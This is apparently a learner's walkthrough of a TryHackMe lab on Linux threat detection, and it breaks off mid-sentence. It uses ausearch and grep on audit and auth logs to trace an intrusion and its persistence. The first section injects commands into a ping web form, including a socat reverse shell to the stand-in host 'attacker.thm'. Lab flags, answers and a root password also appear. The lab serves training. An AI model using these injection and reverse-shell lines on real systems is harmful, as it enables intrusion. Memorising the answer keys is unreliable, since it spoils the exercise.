THM - Linux Threat Detection 3

Lets start solving the room…

1- Reverse Shells :

Question 1 : Run 127.0.0.1 && whoami in the TryPingMe web app. What output do you see after the ping results?

Answer : svctrypingme

Question 2 : Now try spawning a reverse shell to the imaginary "attacker.thm" address. Run 127.0.0.1 && socat TCP:attacker.thm:1337 EXEC:sh in the web app. What is the flag returned in the TryPingMe response?

Answer : THM{revshells_practitioner!}

Question 3 : Now look at the exported auditd logs at /home/ubuntu/scenario. Which IP spawned a similar reverse shell via the TryPingMe app?

Answer : The First 2 answers where easy to get but for this one we have to follow this procedure we will filter the auditd logs for sus commands such as socat we will use this filter

ausearch -i -if /home/ubuntu/scenario/audit.log -x socat

ausearch -i -if /home/ubuntu/scenario/audit.log -x socat

10.14.105.255

2- Privilege Escalation :

Question 1 : Which command line was used to look for the "pass" keyword in files?

Answer :

The filter to use is

 ausearch -i -if /home/ubuntu/scenario/audit.log | grep pass

 ausearch -i -if /home/ubuntu/scenario/audit.log | grep pass

grep -iR pass .

Question 2: Which command line was used to escalate privileges to root?

Answer : The filter to use

ausearch -i -if /home/ubuntu/scenario/audit.log | grep proctitle

ausearch -i -if /home/ubuntu/scenario/audit.log | grep proctitle

and you will see all the commands that were ran and got logged

we can see that command ran is

su root

Question 2: Looking at the detected .env file, what was the root password?

Answer : Looking at the audit.log we can see there is a file that the attacker was trying to read with cat as seen in the following

lets go to the file location and see whats inside of it we will use the cwd location as seen in the log

cat /opt/trypingme/.env.local

cat /opt/trypingme/.env.local

we got our answer

nGql1pQkGa

3- Startup Persistence :

Question 1 : What flag did you get after running the malware persisting as a service?

Answer :

This part was abit long so lets lock in..

lets filter the logs first the filter we are going to use is

ausearch -i | grep proctitle

ausearch -i | grep proctitle

and we can see a file being edited by attacker ( or someone ) by using the nano editor and the ffile name is tux.service so lets go to the file

cat /etc/systemd/system/tux.service

cat /etc/systemd/system/tux.service

so as we know the service file syntax that ExecStart is used to start a file or in simple words has the path to the program ( malware in this case ) that should run. Now lets go to the program and run it to get our answer

cd /var/lib/misc/

cd /var/lib/misc/

lets run tux

./tux

./tux

add the full path and you will get you flag

THM{hidden_penguin!}

Question 2: What flag did you get after running the malware persisting as a cron job?

Answer :

First filter was

ausearch -i | grep proctitle

ausearch -i | grep proctitle

and look for cron jobs in the results

and we can see crontab -e in the results which is used for looking a user specific cron jobs lets dig a bit further by using the filter

ausearch -i | grep -i "cron"

ausearch -i | grep -i "cron"

we can clearly see /var/spool/cron in the results seo lets go there and see

we are on the location but to go into the crontabs we have to have root privileges so we are

sudo -i

sudo -i

and then went in crontabs and then root file

we can see the cronjob is set to reboot lets go to the file thats in reboot cronjob

cd /user/sbin

cd /user/sbin

then run the program

./phoenix

./phoenix

we got our answer

THM{ressurect_on_reboot!}

4- Account Persistence :

Question 1 :

Which user was created and added to the sudo group?

First Filter to use is

cat /var/log/auth_log | grep -E 'useradd|usermod'

cat /var/log/auth_log | grep -E 'useradd|usermod'

koichi

Question 2 : Which file was changed to allow SSH key persistence?

Answer :

just use the grep command with auth.log with piping

/root/.ssh/authorized_keys

The End !! i hope you enjoyed the writeup and the room because i had